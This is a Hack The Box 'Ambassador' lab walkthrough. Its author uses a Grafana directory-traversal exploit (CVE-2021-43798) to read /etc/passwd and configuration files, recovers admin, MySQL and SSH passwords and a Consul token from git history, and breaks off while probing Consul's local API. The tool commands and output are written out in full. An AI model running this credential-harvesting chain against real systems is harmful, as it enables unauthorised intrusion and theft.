HTB Ambassador Walkthrough

Discover how using an access token can allow breaking into a development server.

HTB Ambassador Walkthrough
This image was generated using Microsoft Copilot.

A simple and really fun BOX.

Let's start with the nmap scan:

Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 21:25 CEST
Nmap scan report for 10.10.11.183
Host is up (0.11s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
|   256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_  256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp   open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ambassador Development Server
|_http-generator: Hugo 0.94.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open     ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 19 Oct 2022 19:26:41 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 19 Oct 2022 19:26:09 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 19 Oct 2022 19:26:14 GMT
|_    Content-Length: 0
3306/tcp open     mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 84
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, SupportsCompression, Speaks41ProtocolOld, LongPassword, SupportsTransactions, FoundRows, InteractiveClient, LongColumnFlag, ConnectWithDatabase, IgnoreSigpipes, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, SwitchToSSLAfterHandshake, ODBCClient, SupportsLoadDataLocal, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: eq\x7F>F0\x13\x1D-o\x1B.G.[43"4\x17
|_  Auth Plugin Name: caching_sha2_password
7921/tcp filtered unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=10/19%Time=63504F53%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Contr
SF:ol:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nExpi
SF:res:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cookie:
SF:\x20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Conte
SF:nt-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protec
SF:tion:\x201;\x20mode=block\r\nDate:\x20Wed,\x2019\x20Oct\x202022\x2019:2
SF:6:09\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found
SF:</a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\nCa
SF:che-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPr
SF:agma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20Http
SF:Only;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-
SF:Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20W
SF:ed,\x2019\x20Oct\x202022\x2019:26:14\x20GMT\r\nContent-Length:\x200\r\n
SF:\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/
SF:1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charse
SF:t=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSes
SF:sionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Found
SF:\r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache
SF:\r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.tx
SF:t%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201
SF:;\x20mode=block\r\nDate:\x20Wed,\x2019\x20Oct\x202022\x2019:26:41\x20GM
SF:T\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n
SF:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.07 seconds

Woo, a lot of information! Five ports open: 22 for ssh, 80 and 3000 for http, 3306 with a mySQL instance and 7921 unknown). Insert the usual domain (ambassador.htb) in the /etc/hosts file and proceed with the analysis.

80 - HTTP

At first glance, it looks like a simple blog with just one post. The only message posted seems to give some clues on how to access via ssh, but it is not very clear, and despite some attempts, I cannot log in. I proceed with a simple dirb session.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.183 - Ambassador (lin)]
└─$ dirb http://ambassador.htb

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Oct 19 21:36:12 2022
URL_BASE: http://ambassador.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://ambassador.htb/ ----
==> DIRECTORY: http://ambassador.htb/categories/                                                                                                                                                         
==> DIRECTORY: http://ambassador.htb/images/                                                                                                                                                             
+ http://ambassador.htb/index.html (CODE:200|SIZE:3654)                                                                                                                                                  
==> DIRECTORY: http://ambassador.htb/posts/                                                                                                                                                              
+ http://ambassador.htb/server-status (CODE:403|SIZE:279)                                                                                                                                                
+ http://ambassador.htb/sitemap.xml (CODE:200|SIZE:645)                                                                                                                                                  
==> DIRECTORY: http://ambassador.htb/tags/                                                                                                                                                               
                                                                                                                                                                                                         
---- Entering directory: http://ambassador.htb/categories/ ----
+ http://ambassador.htb/categories/index.html (CODE:200|SIZE:2330)                                                                                                                                       
                                                                                                                                                                                                         
---- Entering directory: http://ambassador.htb/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                         
---- Entering directory: http://ambassador.htb/posts/ ----
+ http://ambassador.htb/posts/index.html (CODE:200|SIZE:3140)                                                                                                                                            
==> DIRECTORY: http://ambassador.htb/posts/page/                                                                                                                                                         
                                                                                                                                                                                                         
---- Entering directory: http://ambassador.htb/tags/ ----
+ http://ambassador.htb/tags/index.html (CODE:200|SIZE:2288)                                                                                                                                             
                                                                                                                                                                                                         
---- Entering directory: http://ambassador.htb/posts/page/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Wed Oct 19 22:10:48 2022
DOWNLOADED: 18448 - FOUND: 6

Nothing exciting, just a nice picture that doesn't help me at the moment...

...and the sitemap of the portal, which, however, identifies the routings already found by the dirb.

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
  xmlns:xhtml="http://www.w3.org/1999/xhtml">
  <url>
    <loc>https://example.org/</loc>
    <lastmod>2022-03-10T19:01:57+00:00</lastmod>
  </url><url>
    <loc>https://example.org/posts/</loc>
    <lastmod>2022-03-10T19:01:57+00:00</lastmod>
  </url><url>
    <loc>https://example.org/posts/welcome-to-the-ambassador-development-server/</loc>
    <lastmod>2022-03-10T19:01:57+00:00</lastmod>
  </url><url>
    <loc>https://example.org/categories/</loc>
  </url><url>
    <loc>https://example.org/tags/</loc>
  </url>
</urlset>

3000 - HTTP

On port 3000, an instance of Grafana, a platform for displaying and monitoring data, is exposed. The version highlighted at the bottom of the login form will help us later when searching for exploits.

3306 - mySQL

Let's start with some enumeration sessions.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.183 - Ambassador (lin)]
└─$ nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.10.11.183
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 22:20 CEST
Nmap scan report for ambassador.htb (10.10.11.183)
Host is up (0.11s latency).

PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 91
|   Capabilities flags: 65535
|   Some Capabilities: Speaks41ProtocolOld, Support41Auth, SupportsLoadDataLocal, SupportsTransactions, ConnectWithDatabase, SupportsCompression, IgnoreSigpipes, LongColumnFlag, FoundRows, LongPassword, SwitchToSSLAfterHandshake, InteractiveClient, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: z_>V#YV\x1B[ktFW|     \x06\x01r\x04:
|_  Auth Plugin Name: caching_sha2_password
| mysql-enum: 
|   Accounts: No valid accounts found
|   Statistics: Performed 0 guesses in 5 seconds, average tps: 0.0
|_  ERROR: The service seems to have failed or is heavily firewalled...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.15 seconds

Nothing, but some metasploit modules that might come in handy.

msf6 > use auxiliary/scanner/mysql/mysql_version
msf6 auxiliary(scanner/mysql/mysql_version) > options 

Module options (auxiliary/scanner/mysql/mysql_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    3306             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/mysql/mysql_version) > setg rhosts 10.10.11.183
rhosts => 10.10.11.183
msf6 auxiliary(scanner/mysql/mysql_version) > exploit 

[+] 10.10.11.183:3306     - 10.10.11.183:3306 is running MySQL 8.0.30-0ubuntu0.20.04.2 (protocol 10)
[*] 10.10.11.183:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf6 auxiliary(scanner/mysql/mysql_version) > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > options 

Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   RHOSTS    10.10.11.183     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT     3306             yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  root             yes       The username to authenticate as

msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > exploit

[-] 10.10.11.183:3306     - 10.10.11.183:3306 Error: unknown charset number: 255
[*] 10.10.11.183:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump) > options 

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    10.10.11.183     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT     3306             yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME                   no        The username to authenticate as

msf6 auxiliary(scanner/mysql/mysql_hashdump) > exploit 

[-] 10.10.11.183:3306     - Connection timedout
[*] 10.10.11.183:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf6 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/admin/mysql/mysql_enum
msf6 auxiliary(admin/mysql/mysql_enum) > options 

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    10.10.11.183     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT     3306             yes       The target port (TCP)
   USERNAME                   no        The username to authenticate as

msf6 auxiliary(admin/mysql/mysql_enum) > exploit
[*] Running module against 10.10.11.183

[-] 10.10.11.183:3306 - Connection timedout
[*] Auxiliary module execution completed

msf6 auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_schemadump
msf6 auxiliary(scanner/mysql/mysql_schemadump) > options 

Module options (auxiliary/scanner/mysql/mysql_schemadump):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DISPLAY_RESULTS  true             yes       Display the Results to the Screen
   PASSWORD                          no        The password for the specified username
   RHOSTS           10.10.11.183     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT            3306             yes       The target port (TCP)
   THREADS          1                yes       The number of concurrent threads (max one per host)
   USERNAME                          no        The username to authenticate as

msf6 auxiliary(scanner/mysql/mysql_schemadump) > exploit

[-] 10.10.11.183:3306     - Connection timedout
[*] 10.10.11.183:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Unfortunately, none of the available modules contain any useful information. I still find a good list of CVEs I can exploit, but they don't help me.

Oracle Mysql : CVE security vulnerabilities, versions and detailed reports
Oracle Mysql security vulnerabilities, exploits, metasploit modules, vulnerability statistics and list of versions

Come back to the Grafana portal

I decided to return to the Grafana portal and recover the CVE list.

Grafana : Products and vulnerabilities
Grafana: List of all products, security vulnerabilities of products, cvss score reports, detailed graphical reports, vulnerabilities by years and metasploit modules related to products of this vendor.

Among them, I find one with an exploit on exploit-db...

Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read. CVE-2021-43798 . webapps exploit for Multiple platform

... and it works!

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.183 - Ambassador (lin)/attack/grph]
└─$ python3 50581.py -H http://ambassador.htb:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

I tried some other files but without success...

Read file > /home/developer/user.txt
[-] Something went wrong.

Read file > /home/developer/.ssh/id_rsa
[-] Something went wrong.

...until I get to the grafana configuration files (/etc/grafana/grafana.ini).

[...]
#################################### Security ####################################
[security]
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false

# default admin user, created on startup
;admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = messageInABottle685427

# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
[...]

Once I have found the Grafana administration password, I can access the portal in search of other useful information.

I discovered that the connection information of the datasource on which grafana monitors is in a file called mysql.yaml. By studying a bit, I also discover where the configuration files of this type are located in grafana, so I use the same vulnerability to read this file as well.

Read file > /etc/grafana/provisioning/datasources/mysql.yaml
apiVersion: 1

datasources:
 - name: mysql.yaml 
   type: mysql
   host: localhost
   database: grafana
   user: grafana
   password: dontStandSoCloseToMe63221!
   editable: false

So I find the password to connect to mySQL.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.183 - Ambassador (lin)/attack/grph]
└─$ mysql -h 10.10.11.183 -u grafana -p                                                                                                                                                               1 ⨯
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 32
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0.115 sec)

MySQL [(none)]> use grafana;
Database changed
MySQL [grafana]> show tables;
Empty set (0.114 sec)

MySQL [grafana]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.116 sec)

MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.112 sec)

MySQL [whackywidget]>

Here is yet another password, which this time will lead us to the first user flag. But first, I had to decrypt the password; it looked like a simple base64 hashing.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.183 - Ambassador (lin)/attack/hc]
└─$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d                                                                                                                                       1 ⨯
anEnglishManInNewYork027468

And finally, the flag.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.183 - Ambassador (lin)/attack/hc]
└─$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 22 Oct 2022 04:27:21 PM UTC

  System load:           0.0
  Usage of /:            82.3% of 5.07GB
  Memory usage:          50%
  Swap usage:            0%
  Processes:             231
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.183
  IPv6 address for eth0: dead:beef::250:56ff:feb9:a885


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Oct 22 12:32:17 2022 from 10.10.16.2
developer@ambassador:~$ ls -la
total 48
drwxr-xr-x 7 developer developer 4096 Sep 14 11:01 .
drwxr-xr-x 3 root      root      4096 Mar 13  2022 ..
lrwxrwxrwx 1 root      root         9 Sep 14 11:01 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 developer developer 3798 Mar 14  2022 .bashrc
drwx------ 3 developer developer 4096 Mar 13  2022 .cache
-rw-rw-r-- 1 developer developer   93 Sep  2 02:28 .gitconfig
drwx------ 3 developer developer 4096 Oct 22 09:14 .gnupg
drwxrwxr-x 3 developer developer 4096 Mar 13  2022 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 3 developer developer 4096 Mar 14  2022 snap
drwx------ 2 developer developer 4096 Mar 13  2022 .ssh
-rw-r----- 1 root      developer   33 Oct 22 08:15 user.txt
developer@ambassador:~$ cat user.txt 
8******************************4

It's time to search for a privilege escalation to retrieve the root flag.

developer@ambassador:~$ sudo -l
[sudo] password for developer: 
Sorry, user developer may not run sudo on ambassador.

The user cannot start commands with administrator permissions. There is a git configuration file that takes me straight to a local repository.

developer@ambassador:~$ cat .gitconfig 
[user]
        name = Developer
        email = [email protected]
[safe]
        directory = /opt/my-app
developer@ambassador:~$ ls -la /opt/my-app/
total 24
drwxrwxr-x 5 root root 4096 Mar 13  2022 .
drwxr-xr-x 4 root root 4096 Sep  1 22:13 ..
drwxrwxr-x 4 root root 4096 Mar 13  2022 env
drwxrwxr-x 8 root root 4096 Mar 14  2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13  2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13  2022 whackywidget

It appears to be a python project that allows command execution (perhaps with administrator permissions), but I don't see any vulnerabilities.

developer@ambassador:/opt/my-app/whackywidget$ cat manage.py 
#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys


def main():
    """Run administrative tasks."""
    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'whackywidget.settings')
    try:
        from django.core.management import execute_from_command_line
    except ImportError as exc:
        raise ImportError(
            "Couldn't import Django. Are you sure it's installed and "
            "available on your PYTHONPATH environment variable? Did you "
            "forget to activate a virtual environment?"
        ) from exc
    execute_from_command_line(sys.argv)


if __name__ == '__main__':
    main()

However, it seems that the libraries necessary to run the program are not present.

developer@ambassador:/opt/my-app/whackywidget$ python3 manage.py 
Traceback (most recent call last):
  File "manage.py", line 11, in main
    from django.core.management import execute_from_command_line
ModuleNotFoundError: No module named 'django'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "manage.py", line 22, in <module>
    main()
  File "manage.py", line 13, in main
    raise ImportError(
ImportError: Couldn't import Django. Are you sure it's installed and available on your PYTHONPATH environment variable? Did you forget to activate a virtual environment?

I noticed a bash script that caught my eye. I don't immediately understand what it's for. When I sent it, I got an error message.

developer@ambassador:/opt/my-app/whackywidget$ ./put-config-in-consul.sh 
Error! Failed writing data: Unexpected response code: 403 (Permission denied: token with AccessorID '00000000-0000-0000-0000-000000000002' lacks permission 'key:write' on "whackywidget/db/mysql_pw")

I proceed to retrieve the historical information from the repository.

developer@ambassador:/opt/my-app/whackywidget$ git log --all --summary
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <[email protected]>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script


commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <[email protected]>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

 create mode 100755 whackywidget/put-config-in-consul.sh

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <[email protected]>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

 create mode 100755 whackywidget/manage.py
 create mode 100644 whackywidget/whackywidget/__init__.py
 create mode 100644 whackywidget/whackywidget/asgi.py
 create mode 100644 whackywidget/whackywidget/settings.py
 create mode 100644 whackywidget/whackywidget/urls.py
 create mode 100644 whackywidget/whackywidget/wsgi.py

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <[email protected]>
Date:   Sun Mar 13 22:44:11 2022 +0000

    .gitignore

 create mode 100644 .gitignore

Comparing the various commits, I found an interesting difference in the script file.

developer@ambassador:/opt/my-app/whackywidget$ git diff 33a53ef9a207976d5ceceddc41a199558843bf3c c982db8eff6f10f8f3a7d802f79f2705e7a21b55
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index fc51ec0..35c08f6 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
+# Export MYSQL_PASSWORD before running
 
-consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD

It appears to be the token needed to execute the command contained within.

developer@ambassador:/opt/my-app/whackywidget$ MYSQL_PASSWORD=dontStandSoCloseToMe63221!
developer@ambassador:/opt/my-app/whackywidget$ consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
Success! Data written to: whackywidget/db/mysql_pw

Well, convinced that I was on the right track, I studied the consul command and discovered it is "a service networking solution that enables teams to manage secure network connectivity between services and across multi-cloud environments and runtimes."

Commands | Consul | HashiCorp Developer
Consul is controlled via a very easy to use command-line interface (CLI). Consul is only a single command-line application: `consul`. This application then takes a subcommand such as agent or members. The complete list of subcommands is in the navigation to the left.

I found this when searching for "consul exploit."

Hashicorp Consul Remote Command Execution via Services API
Metasploit framework is the most popular and powerful network penetration testing tool, used widely all around the world. The framework…

I understand that I need the consul service that runs on this machine, for sure, on some local port.

developer@ambassador:/opt/my-app/whackywidget$ ss -tulpn | grep -i "LISTEN.*127.0.0.1:"
tcp    LISTEN  0       4096         127.0.0.1:8301         0.0.0.0:*            
tcp    LISTEN  0       4096         127.0.0.1:8302         0.0.0.0:*            
tcp    LISTEN  0       4096         127.0.0.1:8500         0.0.0.0:*            
tcp    LISTEN  0       4096         127.0.0.1:8600         0.0.0.0:*            
tcp    LISTEN  0       70           127.0.0.1:33060        0.0.0.0:*            
tcp    LISTEN  0       4096         127.0.0.1:8300         0.0.0.0:*            

Great, exactly the same port.

developer@ambassador:/opt/my-app/whackywidget$ curl "http://127.0.0.1:8500/ui/" -v
*   Trying 127.0.0.1:8500...
